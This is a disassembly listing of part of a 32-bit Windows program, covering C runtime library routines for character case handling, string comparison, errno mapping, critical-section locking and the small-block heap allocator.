loc_40FC41:				; CODE XREF: sub_40FB3B+5Aj
					; sub_40FB3B+F9j
		cmp	[ebp+var_C], 0
		jz	short loc_40FC4E
		mov	ecx, [ebp+var_10]
		and	dword ptr [ecx+70h], 0FFFFFFFDh

loc_40FC4E:				; CODE XREF: sub_40FB3B+6Ej
					; sub_40FB3B+10Aj
		pop	esi
		pop	ebx
		leave
		retn
sub_40FB3B	endp


; =============== S U B	R O U T	I N E =======================================



sub_40FC52	proc near		; CODE XREF: sub_41A92D+19p
					; sub_41A92D+36p

arg_0		= dword	ptr  4

		cmp	dword_425E40, 0
		jnz	short loc_40FC6B
		mov	eax, [esp+arg_0]
		lea	ecx, [eax-41h]
		cmp	ecx, 19h
		ja	short locret_40FC78
		add	eax, 20h
		retn
; ---------------------------------------------------------------------------

loc_40FC6B:				; CODE XREF: sub_40FC52+7j
		push	0
		push	[esp+4+arg_0]
		call	sub_40FB3B
		pop	ecx
		pop	ecx

locret_40FC78:				; CODE XREF: sub_40FC52+13j
		retn
sub_40FC52	endp


; =============== S U B	R O U T	I N E =======================================



sub_40FC79	proc near		; CODE XREF: sub_40DBA6+80p
					; sub_40FCDA+Dp ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		xor	ecx, ecx

loc_40FC7F:				; CODE XREF: sub_40FC79+13j
		cmp	eax, dword_423690[ecx*8]
		jz	short loc_40FC9A
		inc	ecx
		cmp	ecx, 2Dh
		jl	short loc_40FC7F
		lea	ecx, [eax-13h]
		cmp	ecx, 11h
		ja	short loc_40FCA2
		push	0Dh
		pop	eax
		retn
; ---------------------------------------------------------------------------

loc_40FC9A:				; CODE XREF: sub_40FC79+Dj
		mov	eax, dword_423694[ecx*8]
		retn
; ---------------------------------------------------------------------------

loc_40FCA2:				; CODE XREF: sub_40FC79+1Bj
		add	eax, 0FFFFFF44h
		push	0Eh
		pop	ecx
		cmp	ecx, eax
		sbb	eax, eax
		and	eax, ecx
		add	eax, 8
		retn
sub_40FC79	endp


; =============== S U B	R O U T	I N E =======================================



sub_40FCB4	proc near		; CODE XREF: sub_40B0B4+19p
					; sub_40B0B4+4Fp ...
		call	sub_40F7FB
		test	eax, eax
		jnz	short loc_40FCC3
		mov	eax, offset dword_4237F8
		retn
; ---------------------------------------------------------------------------

loc_40FCC3:				; CODE XREF: sub_40FCB4+7j
		add	eax, 8
		retn
sub_40FCB4	endp


; =============== S U B	R O U T	I N E =======================================



sub_40FCC7	proc near		; CODE XREF: sub_40FCDA+1p
					; sub_412DB5+14p ...
		call	sub_40F7FB
		test	eax, eax
		jnz	short loc_40FCD6
		mov	eax, offset dword_4237FC
		retn
; ---------------------------------------------------------------------------

loc_40FCD6:				; CODE XREF: sub_40FCC7+7j
		add	eax, 0Ch
		retn
sub_40FCC7	endp


; =============== S U B	R O U T	I N E =======================================



sub_40FCDA	proc near		; CODE XREF: sub_412D21+84p
					; sub_41407D+3FBp ...

arg_0		= dword	ptr  4

		push	esi
		call	sub_40FCC7
		mov	ecx, [esp+4+arg_0]
		push	ecx
		mov	[eax], ecx
		call	sub_40FC79
		pop	ecx
		mov	esi, eax
		call	sub_40FCB4
		mov	[eax], esi
		pop	esi
		retn
sub_40FCDA	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40FD00	proc near		; CODE XREF: sub_40B1D7+9Ap
					; sub_40B2C7+42j

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	edi
		push	esi
		push	ebx
		mov	ecx, [ebp+arg_8]
		or	ecx, ecx
		jz	short loc_40FD5A
		mov	esi, [ebp+arg_0]
		mov	edi, [ebp+arg_4]
		mov	bh, 41h
		mov	bl, 5Ah
		mov	dh, 20h
		lea	ecx, [ecx+0]

loc_40FD1C:				; CODE XREF: sub_40FD00+49j
		mov	ah, [esi]
		or	ah, ah
		mov	al, [edi]
		jz	short loc_40FD4B
		or	al, al
		jz	short loc_40FD4B
		add	esi, 1
		add	edi, 1
		cmp	ah, bh
		jb	short loc_40FD38
		cmp	ah, bl
		ja	short loc_40FD38
		add	ah, dh

loc_40FD38:				; CODE XREF: sub_40FD00+30j
					; sub_40FD00+34j
		cmp	al, bh
		jb	short loc_40FD42
		cmp	al, bl
		ja	short loc_40FD42
		add	al, dh

loc_40FD42:				; CODE XREF: sub_40FD00+3Aj
					; sub_40FD00+3Ej
		cmp	ah, al
		jnz	short loc_40FD51
		sub	ecx, 1
		jnz	short loc_40FD1C

loc_40FD4B:				; CODE XREF: sub_40FD00+22j
					; sub_40FD00+26j
		xor	ecx, ecx
		cmp	ah, al
		jz	short loc_40FD5A

loc_40FD51:				; CODE XREF: sub_40FD00+44j
		mov	ecx, 0FFFFFFFFh
		jb	short loc_40FD5A
		neg	ecx

loc_40FD5A:				; CODE XREF: sub_40FD00+Bj
					; sub_40FD00+4Fj ...
		mov	eax, ecx
		pop	ebx
		pop	esi
		pop	edi
		leave
		retn
sub_40FD00	endp


; =============== S U B	R O U T	I N E =======================================



sub_40FD61	proc near		; CODE XREF: sub_40F9B7+10Cp
		push	esi
		push	edi
		xor	esi, esi
		mov	edi, offset dword_425E78

loc_40FD6A:				; CODE XREF: sub_40FD61+35j
		cmp	dword_423804[esi*8], 1
		jnz	short loc_40FD92
		lea	eax, ds:423800h[esi*8]
		mov	[eax], edi
		push	0FA0h
		push	dword ptr [eax]
		add	edi, 18h
		call	sub_416DD4
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	short loc_40FD9E

loc_40FD92:				; CODE XREF: sub_40FD61+11j
		inc	esi
		cmp	esi, 24h
		jl	short loc_40FD6A
		xor	eax, eax
		inc	eax

loc_40FD9B:				; CODE XREF: sub_40FD61+47j
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------

loc_40FD9E:				; CODE XREF: sub_40FD61+2Fj
		and	off_423800[esi*8], 0
		xor	eax, eax
		jmp	short loc_40FD9B
sub_40FD61	endp


; =============== S U B	R O U T	I N E =======================================



sub_40FDAA	proc near		; CODE XREF: sub_40F70A:loc_40F742j
		push	ebx
		mov	ebx, ds:off_41E170
		push	esi
		mov	esi, offset off_423800
		push	edi

loc_40FDB8:				; CODE XREF: sub_40FDAA+30j
		mov	edi, [esi]
		test	edi, edi
		jz	short loc_40FDD1
		cmp	dword ptr [esi+4], 1
		jz	short loc_40FDD1
		push	edi
		call	ebx ; sub_43F6BB
		push	edi
		call	sub_40DBA6
		and	dword ptr [esi], 0
		pop	ecx

loc_40FDD1:				; CODE XREF: sub_40FDAA+12j
					; sub_40FDAA+18j
		add	esi, 8
		cmp	esi, offset dword_423920
		jl	short loc_40FDB8
		mov	esi, offset off_423800
		pop	edi

loc_40FDE2:				; CODE XREF: sub_40FDAA+50j
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_40FDF1
		cmp	dword ptr [esi+4], 1
		jnz	short loc_40FDF1
		push	eax
		call	ebx ; sub_43F6BB

loc_40FDF1:				; CODE XREF: sub_40FDAA+3Cj
					; sub_40FDAA+42j
		add	esi, 8
		cmp	esi, offset dword_423920
		jl	short loc_40FDE2
		pop	esi
		pop	ebx
		retn
sub_40FDAA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40FDFF	proc near		; CODE XREF: sub_40CAD5+2p
					; sub_40DBFC+2p ...

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_0]
		push	off_423800[eax*8]
		call	ds:dword_41E16C	; RtlLeaveCriticalSection
		pop	ebp
		retn
sub_40FDFF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40FE14	proc near		; CODE XREF: sub_40FED7+14p
					; sub_412776+4Fp ...

var_1C		= dword	ptr -1Ch
ms_exc		= CPPEH_RECORD ptr -18h
arg_0		= dword	ptr  8

		push	0Ch
		push	offset dword_421BB0
		call	__SEH_prolog4
		xor	edi, edi
		inc	edi
		mov	[ebp+var_1C], edi
		xor	ebx, ebx
		cmp	dword_425FC8, ebx
		jnz	short loc_40FE48
		call	sub_413F24
		push	1Eh
		call	sub_413D84
		push	0FFh
		call	sub_411FF7
		pop	ecx
		pop	ecx

loc_40FE48:				; CODE XREF: sub_40FE14+1Aj
		mov	esi, [ebp+arg_0]
		lea	esi, ds:423800h[esi*8]
		cmp	[esi], ebx
		jz	short loc_40FE5A
		mov	eax, edi
		jmp	short loc_40FEC8
; ---------------------------------------------------------------------------

loc_40FE5A:				; CODE XREF: sub_40FE14+40j
		push	18h
		call	sub_411E8A
		pop	ecx
		mov	edi, eax
		cmp	edi, ebx
		jnz	short loc_40FE77
		call	sub_40FCB4
		mov	dword ptr [eax], 0Ch
		xor	eax, eax
		jmp	short loc_40FEC8
; ---------------------------------------------------------------------------

loc_40FE77:				; CODE XREF: sub_40FE14+52j
		push	0Ah
		call	sub_40FED7
		pop	ecx
		mov	[ebp+ms_exc.disabled], ebx
		cmp	[esi], ebx
		jnz	short loc_40FEB2
		push	0FA0h
		push	edi
		call	sub_416DD4
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_40FEAE
		push	edi
		call	sub_40DBA6
		pop	ecx
		call	sub_40FCB4
		mov	dword ptr [eax], 0Ch
		mov	[ebp+var_1C], ebx
		jmp	short loc_40FEB9
; ---------------------------------------------------------------------------

loc_40FEAE:				; CODE XREF: sub_40FE14+81j
		mov	[esi], edi
		jmp	short loc_40FEB9
; ---------------------------------------------------------------------------

loc_40FEB2:				; CODE XREF: sub_40FE14+70j
		push	edi
		call	sub_40DBA6
		pop	ecx

loc_40FEB9:				; CODE XREF: sub_40FE14+98j
					; sub_40FE14+9Cj
		mov	[ebp+ms_exc.disabled], 0FFFFFFFEh
		call	sub_40FECE
		mov	eax, [ebp+var_1C]

loc_40FEC8:				; CODE XREF: sub_40FE14+44j
					; sub_40FE14+61j
		call	__SEH_epilog4
		retn
sub_40FE14	endp


; =============== S U B	R O U T	I N E =======================================



sub_40FECE	proc near		; CODE XREF: sub_40FE14+ACp
					; DATA XREF: ev73vtp2:00421BC8o
		push	0Ah
		call	sub_40FDFF
		pop	ecx
		retn
sub_40FECE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40FED7	proc near		; CODE XREF: sub_40CA3B+44p
					; sub_40DBA6+1Ep ...

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_0]
		push	esi
		lea	esi, ds:423800h[eax*8]
		cmp	dword ptr [esi], 0
		jnz	short loc_40FEFD
		push	eax
		call	sub_40FE14
		test	eax, eax
		pop	ecx
		jnz	short loc_40FEFD
		push	11h
		call	sub_411FAD
		pop	ecx

loc_40FEFD:				; CODE XREF: sub_40FED7+11j
					; sub_40FED7+1Cj
		push	dword ptr [esi]
		call	ds:dword_41E168	; RtlEnterCriticalSection
		pop	esi
		pop	ebp
		retn
sub_40FED7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40FF08	proc near		; CODE XREF: sub_40FF63:loc_40FF86p

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	esi
		lea	eax, [ebp+var_4]
		xor	esi, esi
		push	eax
		mov	[ebp+var_4], esi
		mov	[ebp+var_8], esi
		call	sub_412056
		test	eax, eax
		pop	ecx
		jz	short loc_40FF31
		push	esi
		push	esi
		push	esi
		push	esi
		push	esi
		call	sub_40D222
		add	esp, 14h

loc_40FF31:				; CODE XREF: sub_40FF08+1Aj
		lea	eax, [ebp+var_8]
		push	eax
		call	sub_41208D
		test	eax, eax
		pop	ecx
		jz	short loc_40FF4C
		push	esi
		push	esi
		push	esi
		push	esi
		push	esi
		call	sub_40D222
		add	esp, 14h

loc_40FF4C:				; CODE XREF: sub_40FF08+35j
		cmp	[ebp+var_4], 2
		pop	esi
		jnz	short loc_40FF5E
		cmp	[ebp+var_8], 5
		jb	short loc_40FF5E
		xor	eax, eax
		inc	eax
		leave
		retn
; ---------------------------------------------------------------------------

loc_40FF5E:				; CODE XREF: sub_40FF08+49j
					; sub_40FF08+4Fj
		push	3
		pop	eax
		leave
		retn
sub_40FF08	endp


; =============== S U B	R O U T	I N E =======================================



sub_40FF63	proc near		; CODE XREF: .text:0040E583p

arg_0		= dword	ptr  4

		xor	eax, eax
		cmp	[esp+arg_0], eax
		push	0
		setz	al
		push	1000h
		push	eax
		call	ds:dword_41E160	; HeapCreate
		test	eax, eax
		mov	dword_425FC8, eax
		jnz	short loc_40FF86

loc_40FF83:				; CODE XREF: sub_40FF63+54j
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------

loc_40FF86:				; CODE XREF: sub_40FF63+1Ej
		call	sub_40FF08
		cmp	eax, 3
		mov	dword_434E3C, eax
		jnz	short loc_40FFB9
		push	3F8h
		call	sub_40FFBD
		test	eax, eax
		pop	ecx
		jnz	short loc_40FFB9
		push	dword_425FC8
		call	ds:off_41E164
		and	dword_425FC8, 0
		jmp	short loc_40FF83
; ---------------------------------------------------------------------------

loc_40FFB9:				; CODE XREF: sub_40FF63+30j
					; sub_40FF63+3Fj
		xor	eax, eax
		inc	eax
		retn
sub_40FF63	endp


; =============== S U B	R O U T	I N E =======================================



sub_40FFBD	proc near		; CODE XREF: sub_40FF63+37p

arg_0		= dword	ptr  4

		push	140h
		push	0
		push	dword_425FC8
		call	ds:dword_41E114	; RtlAllocateHeap
		test	eax, eax
		mov	dword_434E28, eax
		jnz	short loc_40FFDA
		retn
; ---------------------------------------------------------------------------

loc_40FFDA:				; CODE XREF: sub_40FFBD+1Aj
		mov	ecx, [esp+arg_0]
		and	dword_425FCC, 0
		and	dword_434E24, 0
		mov	dword_434E30, eax
		xor	eax, eax
		mov	dword_434E2C, ecx
		mov	dword_434E34, 10h
		inc	eax
		retn
sub_40FFBD	endp


; =============== S U B	R O U T	I N E =======================================



sub_410005	proc near		; CODE XREF: sub_40CA3B+4Ep
					; sub_40DBA6+29p ...

arg_0		= dword	ptr  4

		mov	ecx, dword_434E24
		mov	eax, dword_434E28
		imul	ecx, 14h
		add	ecx, eax
		jmp	short loc_410029
; ---------------------------------------------------------------------------

loc_410017:				; CODE XREF: sub_410005+26j
		mov	edx, [esp+arg_0]
		sub	edx, [eax+0Ch]
		cmp	edx, 100000h
		jb	short locret_41002F
		add	eax, 14h

loc_410029:				; CODE XREF: sub_410005+10j
		cmp	eax, ecx
		jb	short loc_410017
		xor	eax, eax

locret_41002F:				; CODE XREF: sub_410005+1Fj
		retn
sub_410005	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_410030	proc near		; CODE XREF: sub_40DBA6+38p
					; sub_417C80+B5p ...

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		mov	ecx, [ebp+arg_0]
		mov	eax, [ecx+10h]
		push	esi
		mov	esi, [ebp+arg_4]
		push	edi
		mov	edi, esi
		sub	edi, [ecx+0Ch]
		add	esi, 0FFFFFFFCh
		shr	edi, 0Fh
		mov	ecx, edi
		imul	ecx, 204h
		lea	ecx, [ecx+eax+144h]
		mov	[ebp+var_10], ecx
		mov	ecx, [esi]
		dec	ecx
		test	cl, 1
		mov	[ebp+var_4], ecx
		jnz	loc_410340
		push	ebx
		lea	ebx, [ecx+esi]
		mov	edx, [ebx]
		mov	[ebp+var_C], edx
		mov	edx, [esi-4]
		mov	[ebp+var_8], edx
		mov	edx, [ebp+var_C]
		test	dl, 1
		mov	[ebp+arg_4], ebx
		jnz	short loc_4100FB
		sar	edx, 4
		dec	edx
		cmp	edx, 3Fh
		jbe	short loc_410093
		push	3Fh
		pop	edx

loc_410093:				; CODE XREF: sub_410030+5Ej
		mov	ecx, [ebx+4]
		cmp	ecx, [ebx+8]
		jnz	short loc_4100DD
		cmp	edx, 20h
		mov	ebx, 80000000h
		jnb	short loc_4100BE
		mov	ecx, edx
		shr	ebx, cl
		lea	ecx, [edx+eax+4]
		not	ebx
		and	[eax+edi*4+44h], ebx
		dec	byte ptr [ecx]
		jnz	short loc_4100DA
		mov	ecx, [ebp+arg_0]
		and	[ecx], ebx
		jmp	short loc_4100DA
; ---------------------------------------------------------------------------

loc_4100BE:				; CODE XREF: sub_410030+73j
		lea	ecx, [edx-20h]
		shr	ebx, cl
		lea	ecx, [edx+eax+4]
		not	ebx
		and	[eax+edi*4+0C4h], ebx
		dec	byte ptr [ecx]
		jnz	short loc_4100DA
		mov	ecx, [ebp+arg_0]
		and	[ecx+4], ebx

loc_4100DA:				; CODE XREF: sub_410030+85j
					; sub_410030+8Cj ...
		mov	ebx, [ebp+arg_4]

loc_4100DD:				; CODE XREF: sub_410030+69j
		mov	edx, [ebx+8]
		mov	ebx, [ebx+4]
		mov	ecx, [ebp+var_4]
		add	ecx, [ebp+var_C]
		mov	[edx+4], ebx
		mov	edx, [ebp+arg_4]
		mov	ebx, [edx+4]
		mov	edx, [edx+8]
		mov	[ebx+8], edx
		mov	[ebp+var_4], ecx

loc_4100FB:				; CODE XREF: sub_410030+55j
		mov	edx, ecx
		sar	edx, 4
		dec	edx
		cmp	edx, 3Fh
		jbe	short loc_410109
		push	3Fh
		pop	edx

loc_410109:				; CODE XREF: sub_410030+D4j
		mov	ebx, [ebp+var_8]
		and	ebx, 1
		mov	[ebp+var_C], ebx
		jnz	loc_4101A7
		sub	esi, [ebp+var_8]
		mov	ebx, [ebp+var_8]
		sar	ebx, 4
		push	3Fh
		mov	[ebp+arg_4], esi
		dec	ebx
		pop	esi
		cmp	ebx, esi
		jbe	short loc_41012E
		mov	ebx, esi

loc_41012E:				; CODE XREF: sub_410030+FAj
		add	ecx, [ebp+var_8]
		mov	edx, ecx
		sar	edx, 4
		dec	edx
		cmp	edx, esi
		mov	[ebp+var_4], ecx
		jbe	short loc_410140
		mov	edx, esi

loc_410140:				; CODE XREF: sub_410030+10Cj
		cmp	ebx, edx
		jz	short loc_4101A2
		mov	ecx, [ebp+arg_4]
		mov	esi, [ecx+4]
		cmp	esi, [ecx+8]
		jnz	short loc_41018A
		cmp	ebx, 20h
		mov	esi, 80000000h
		jnb	short loc_410170
		mov	ecx, ebx
		shr	esi, cl
		not	esi
		and	[eax+edi*4+44h], esi
		dec	byte ptr [ebx+eax+4]
		jnz	short loc_41018A
		mov	ecx, [ebp+arg_0]
		and	[ecx], esi
		jmp	short loc_41018A
; ---------------------------------------------------------------------------

loc_410170:				; CODE XREF: sub_410030+127j
		lea	ecx, [ebx-20h]
		shr	esi, cl
		not	esi
		and	[eax+edi*4+0C4h], esi
		dec	byte ptr [ebx+eax+4]
		jnz	short loc_41018A
		mov	ecx, [ebp+arg_0]
		and	[ecx+4], esi

loc_41018A:				; CODE XREF: sub_410030+11Dj
					; sub_410030+137j ...
		mov	ecx, [ebp+arg_4]
		mov	esi, [ecx+8]
		mov	ecx, [ecx+4]
		mov	[esi+4], ecx
		mov	ecx, [ebp+arg_4]
		mov	esi, [ecx+4]
		mov	ecx, [ecx+8]
		mov	[esi+8], ecx

loc_4101A2:				; CODE XREF: sub_410030+112j
		mov	esi, [ebp+arg_4]
		jmp	short loc_4101AA
; ---------------------------------------------------------------------------

loc_4101A7:				; CODE XREF: sub_410030+E2j
		mov	ebx, [ebp+arg_0]

loc_4101AA:				; CODE XREF: sub_410030+175j
		cmp	[ebp+var_C], 0
		jnz	short loc_4101B8
		cmp	ebx, edx
		jz	loc_410238

loc_4101B8:				; CODE XREF: sub_410030+17Ej
		mov	ecx, [ebp+var_10]
		lea	ecx, [ecx+edx*8]
		mov	ebx, [ecx+4]
		mov	[esi+8], ecx
		mov	[esi+4], ebx
		mov	[ecx+4], esi
		mov	ecx, [esi+4]
		mov	[ecx+8], esi
		mov	ecx, [esi+4]
		cmp	ecx, [esi+8]
		jnz	short loc_410238
		mov	cl, [edx+eax+4]
		mov	byte ptr [ebp+arg_4+3],	cl
		inc	cl
		cmp	edx, 20h
		mov	[edx+eax+4], cl
		jnb	short loc_41020F
		cmp	byte ptr [ebp+arg_4+3],	0
		jnz	short loc_4101FE
		mov	ecx, edx
		mov	ebx, 80000000h
		shr	ebx, cl
		mov	ecx, [ebp+arg_0]
		or	[ecx], ebx

loc_4101FE:				; CODE XREF: sub_410030+1BEj
		mov	ebx, 80000000h
		mov	ecx, edx
		shr	ebx, cl
		lea	eax, [eax+edi*4+44h]
		or	[eax], ebx
		jmp	short loc_410238
; ---------------------------------------------------------------------------

loc_41020F:				; CODE XREF: sub_410030+1B8j
		cmp	byte ptr [ebp+arg_4+3],	0
		jnz	short loc_410225
		lea	ecx, [edx-20h]
		mov	ebx, 80000000h
		shr	ebx, cl
		mov	ecx, [ebp+arg_0]
		or	[ecx+4], ebx

loc_410225:				; CODE XREF: sub_410030+1E3j
		lea	ecx, [edx-20h]
		mov	edx, 80000000h
		shr	edx, cl
		lea	eax, [eax+edi*4+0C4h]
		or	[eax], edx

loc_410238:				; CODE XREF: sub_410030+182j
					; sub_410030+1A6j ...
		mov	eax, [ebp+var_4]
		mov	[esi], eax
		mov	[eax+esi-4], eax
		mov	eax, [ebp+var_10]
		dec	dword ptr [eax]
		jnz	loc_41033F
		mov	eax, dword_425FCC
		test	eax, eax
		jz	loc_410331
		mov	ecx, dword_434E38
		mov	esi, ds:off_41E15C
		push	4000h
		shl	ecx, 0Fh
		add	ecx, [eax+0Ch]
		mov	ebx, 8000h
		push	ebx
		push	ecx
		call	esi ; sub_43ED0B
		mov	ecx, dword_434E38
		mov	eax, dword_425FCC
		mov	edx, 80000000h
		shr	edx, cl
		or	[eax+8], edx
		mov	eax, dword_425FCC
		mov	eax, [eax+10h]
		mov	ecx, dword_434E38
		and	dword ptr [eax+ecx*4+0C4h], 0
		mov	eax, dword_425FCC
		mov	eax, [eax+10h]
		dec	byte ptr [eax+43h]
		mov	eax, dword_425FCC
		mov	ecx, [eax+10h]
		cmp	byte ptr [ecx+43h], 0
		jnz	short loc_4102C6
		and	dword ptr [eax+4], 0FFFFFFFEh
		mov	eax, dword_425FCC

loc_4102C6:				; CODE XREF: sub_410030+28Bj
		cmp	dword ptr [eax+8], 0FFFFFFFFh
		jnz	short loc_410331
		push	ebx
		push	0
		push	dword ptr [eax+0Ch]
		call	esi ; sub_43ED0B
		mov	eax, dword_425FCC
		push	dword ptr [eax+10h]
		push	0
		push	dword_425FC8
		call	ds:dword_41E10C	; RtlFreeHeap
		mov	ecx, dword_434E24
		mov	eax, dword_425FCC
		imul	ecx, 14h
		mov	edx, dword_434E28
		sub	ecx, eax
		lea	ecx, [ecx+edx-14h]
		push	ecx
		lea	ecx, [eax+14h]
		push	ecx
		push	eax
		call	sub_411AC0
		mov	eax, [ebp+arg_0]
		add	esp, 0Ch
		dec	dword_434E24
		cmp	eax, dword_425FCC
		jbe	short loc_410327
		sub	[ebp+arg_0], 14h

loc_410327:				; CODE XREF: sub_410030+2F1j
		mov	eax, dword_434E28
		mov	dword_434E30, eax

loc_410331:				; CODE XREF: sub_410030+223j
					; sub_410030+29Aj
		mov	eax, [ebp+arg_0]
		mov	dword_425FCC, eax
		mov	dword_434E38, edi

loc_41033F:				; CODE XREF: sub_410030+216j
		pop	ebx

loc_410340:				; CODE XREF: sub_410030+37j
		pop	edi
		pop	esi
		leave
		retn
sub_410030	endp


; =============== S U B	R O U T	I N E =======================================



sub_410344	proc near		; CODE XREF: sub_4107D9+C0p
		mov	eax, dword_434E34
		push	esi
		mov	esi, dword_434E24
		push	edi
		xor	edi, edi
		cmp	esi, eax
		jnz	short loc_41038B
		add	eax, 10h
		imul	eax, 14h
		push	eax
		push	dword_434E28
		push	edi
		push	dword_425FC8
		call	ds:off_41E154
		cmp	eax, edi
		jnz	short loc_410379

loc_410375:				; CODE XREF: sub_410344+68j
					; sub_410344+94j
		xor	eax, eax
		jmp	short loc_4103F1
; ---------------------------------------------------------------------------

loc_410379:				; CODE XREF: sub_410344+2Fj
		add	dword_434E34, 10h
		mov	esi, dword_434E24
		mov	dword_434E28, eax

loc_41038B:				; CODE XREF: sub_410344+11j
		imul	esi, 14h
		add	esi, dword_434E28
		push	41C4h
		push	8
		push	dword_425FC8
		call	ds:dword_41E114	; RtlAllocateHeap
		cmp	eax, edi
		mov	[esi+10h], eax
		jz	short loc_410375
		push	4
		push	2000h
		push	100000h
		push	edi
		call	ds:off_41E158
		cmp	eax, edi
		mov	[esi+0Ch], eax
		jnz	short loc_4103DA
		push	dword ptr [esi+10h]
		push	edi
		push	dword_425FC8
		call	ds:dword_41E10C	; RtlFreeHeap
		jmp	short loc_410375
; ---------------------------------------------------------------------------

loc_4103DA:				; CODE XREF: sub_410344+82j
		or	dword ptr [esi+8], 0FFFFFFFFh
		mov	[esi], edi
		mov	[esi+4], edi
		inc	dword_434E24
		mov	eax, [esi+10h]
		or	dword ptr [eax], 0FFFFFFFFh
		mov	eax, esi

loc_4103F1:				; CODE XREF: sub_410344+33j
		pop	edi
		pop	esi
		retn
sub_410344	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4103F4	proc near		; CODE XREF: sub_4107D9+D6p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	ecx, [ebp+arg_0]
		mov	eax, [ecx+8]
		push	ebx
		push	esi
		mov	esi, [ecx+10h]
		push	edi
		xor	ebx, ebx
		jmp	short loc_41040C
; ---------------------------------------------------------------------------

loc_410409:				; CODE XREF: sub_4103F4+1Aj
		add	eax, eax
		inc	ebx

loc_41040C:				; CODE XREF: sub_4103F4+13j
		test	eax, eax
		jge	short loc_410409
		mov	eax, ebx
		imul	eax, 204h
		lea	eax, [eax+esi+144h]
		push	3Fh
		mov	[ebp+var_8], eax
		pop	edx

loc_410425:				; CODE XREF: sub_4103F4+3Bj
		mov	[eax+8], eax
		mov	[eax+4], eax
		add	eax, 8
		dec	edx
		jnz	short loc_410425
		push	4
		mov	edi, ebx
		push	1000h
		shl	edi, 0Fh
		add	edi, [ecx+0Ch]
		push	8000h
		push	edi
		call	ds:off_41E158
		test	eax, eax
		jnz	short loc_410458
		or	eax, 0FFFFFFFFh
		jmp	loc_4104F5
; ---------------------------------------------------------------------------

loc_410458:				; CODE XREF: sub_4103F4+5Aj
		lea	edx, [edi+7000h]
		cmp	edi, edx
		mov	[ebp+var_4], edx
		ja	short loc_4104A8
		mov	ecx, edx
		sub	ecx, edi
		shr	ecx, 0Ch
		lea	eax, [edi+10h]
		inc	ecx

loc_410470:				; CODE XREF: sub_4103F4+AFj
		or	dword ptr [eax-8], 0FFFFFFFFh
		or	dword ptr [eax+0FECh], 0FFFFFFFFh
		lea	edx, [eax+0FFCh]
		mov	[eax], edx
		lea	edx, [eax-1004h]
		mov	dword ptr [eax-4], 0FF0h
		mov	[eax+4], edx
		mov	dword ptr [eax+0FE8h], 0FF0h
		add	eax, 1000h
		dec	ecx
		jnz	short loc_410470
		mov	edx, [ebp+var_4]

loc_4104A8:				; CODE XREF: sub_4103F4+6Fj
		mov	eax, [ebp+var_8]
		add	eax, 1F8h
		lea	ecx, [edi+0Ch]
		mov	[eax+4], ecx
		mov	[ecx+8], eax
		lea	ecx, [edx+0Ch]
		mov	[eax+8], ecx
		mov	[ecx+4], eax
		and	dword ptr [esi+ebx*4+44h], 0
		xor	edi, edi
		inc	edi
		mov	[esi+ebx*4+0C4h], edi
		mov	al, [esi+43h]
		mov	cl, al
		inc	cl
		test	al, al
		mov	eax, [ebp+arg_0]
		mov	[esi+43h], cl
		jnz	short loc_4104E5
		or	[eax+4], edi

loc_4104E5:				; CODE XREF: sub_4103F4+ECj
		mov	edx, 80000000h
		mov	ecx, ebx
		shr	edx, cl
		not	edx
		and	[eax+8], edx
		mov	eax, ebx

loc_4104F5:				; CODE XREF: sub_4103F4+5Fj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4103F4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4104FA	proc near		; CODE XREF: sub_417C80+77p

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		mov	ecx, [ebp+arg_0]
		mov	eax, [ecx+10h]
		push	ebx
		push	esi
		mov	esi, [ebp+arg_8]
		push	edi
		mov	edi, [ebp+arg_4]
		mov	edx, edi
		sub	edx, [ecx+0Ch]
		add	esi, 17h
		shr	edx, 0Fh
		mov	ecx, edx
		imul	ecx, 204h
		lea	ecx, [ecx+eax+144h]
		mov	[ebp+var_C], ecx
		mov	ecx, [edi-4]
		and	esi, 0FFFFFFF0h
		dec	ecx
		cmp	esi, ecx
		lea	edi, [ecx+edi-4]
		mov	ebx, [edi]
		mov	[ebp+arg_8], ecx
		mov	[ebp+var_4], ebx
		jle	loc_41069C
		test	bl, 1
		jnz	loc_410695
		add	ebx, ecx
		cmp	esi, ebx
		jg	loc_410695
		mov	ecx, [ebp+var_4]
		sar	ecx, 4
		dec	ecx
		cmp	ecx, 3Fh
		mov	[ebp+var_8], ecx
		jbe	short loc_41056F
		push	3Fh
		pop	ecx
		mov	[ebp+var_8], ecx

loc_41056F:				; CODE XREF: sub_4104FA+6Dj
		mov	ebx, [edi+4]
		cmp	ebx, [edi+8]
		jnz	short loc_4105BA
		cmp	ecx, 20h
		mov	ebx, 80000000h
